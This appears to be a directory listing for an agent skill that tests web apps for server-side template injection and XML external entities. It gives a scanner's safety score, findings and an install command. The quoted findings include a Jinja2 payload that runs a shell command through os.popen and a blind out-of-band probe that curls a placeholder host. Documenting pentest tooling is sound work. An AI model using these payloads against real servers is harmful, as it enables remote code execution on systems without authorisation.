injection-ssti-xxe

92 / 100 · Low risk

Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.

By zaurqasimov1337/MilliSec-Pentest-AI (GitHub) · coding · 18 stars · scanned at commit 42679ad

Server-Side Template Injection (SSTI) and XML External Entity (XXE) testing with engine-specific payloads, safe arithmetic probes, and OOB confirmation for blind cases. Use when parameters are reflected into templates/error messages, or when the app accepts XML/SVG/DOCX/SOAP. OWASP A03/A05, WSTG-INPV-18/07, CWE-1336/611/94.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

The author does not mention this. Expected for a coding skill.

Found in 2 places.

.claude/skills/injection-ssti-xxe/SKILL.md, line 22| Jinja2 (Python/Flask) | `{{7*7}}` | `{{cycler.__init__.__globals__.os.popen('id').read()}}` |
.claude/skills/injection-ssti-xxe/SKILL.md, line 31Blind SSTI → confirm via OOB (`{{...os.popen('curl http://<cid>.oast')...}}`).

Connects to the internet

This is disclosed by the author in the skill's SKILL.md or README.

Found in 1 place.

.claude/skills/injection-ssti-xxe/SKILL.md, line 31Blind SSTI → confirm via OOB (`{{...os.popen('curl http://<cid>.oast')...}}`).

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'injection-ssti-xxe' ] || [ -L ~/.agents/skills/'injection-ssti-xxe' ]; then echo 'A skill folder named injection-ssti-xxe already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/zaurqasimov1337/MilliSec-Pentest-AI' "$d" && git -C "$d" checkout --quiet '42679ad1a7e37f987629977c96ab0f985491f31e' -- '.claude/skills/injection-ssti-xxe' && mkdir -p ~/.agents/skills && cp -R "$d"/'.claude/skills/injection-ssti-xxe' ~/.agents/skills/'injection-ssti-xxe' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'injection-ssti-xxe' ~/.claude/skills/'injection-ssti-xxe' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

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Score history

Date	Version	Score
2026-11-07	`42679ad`	92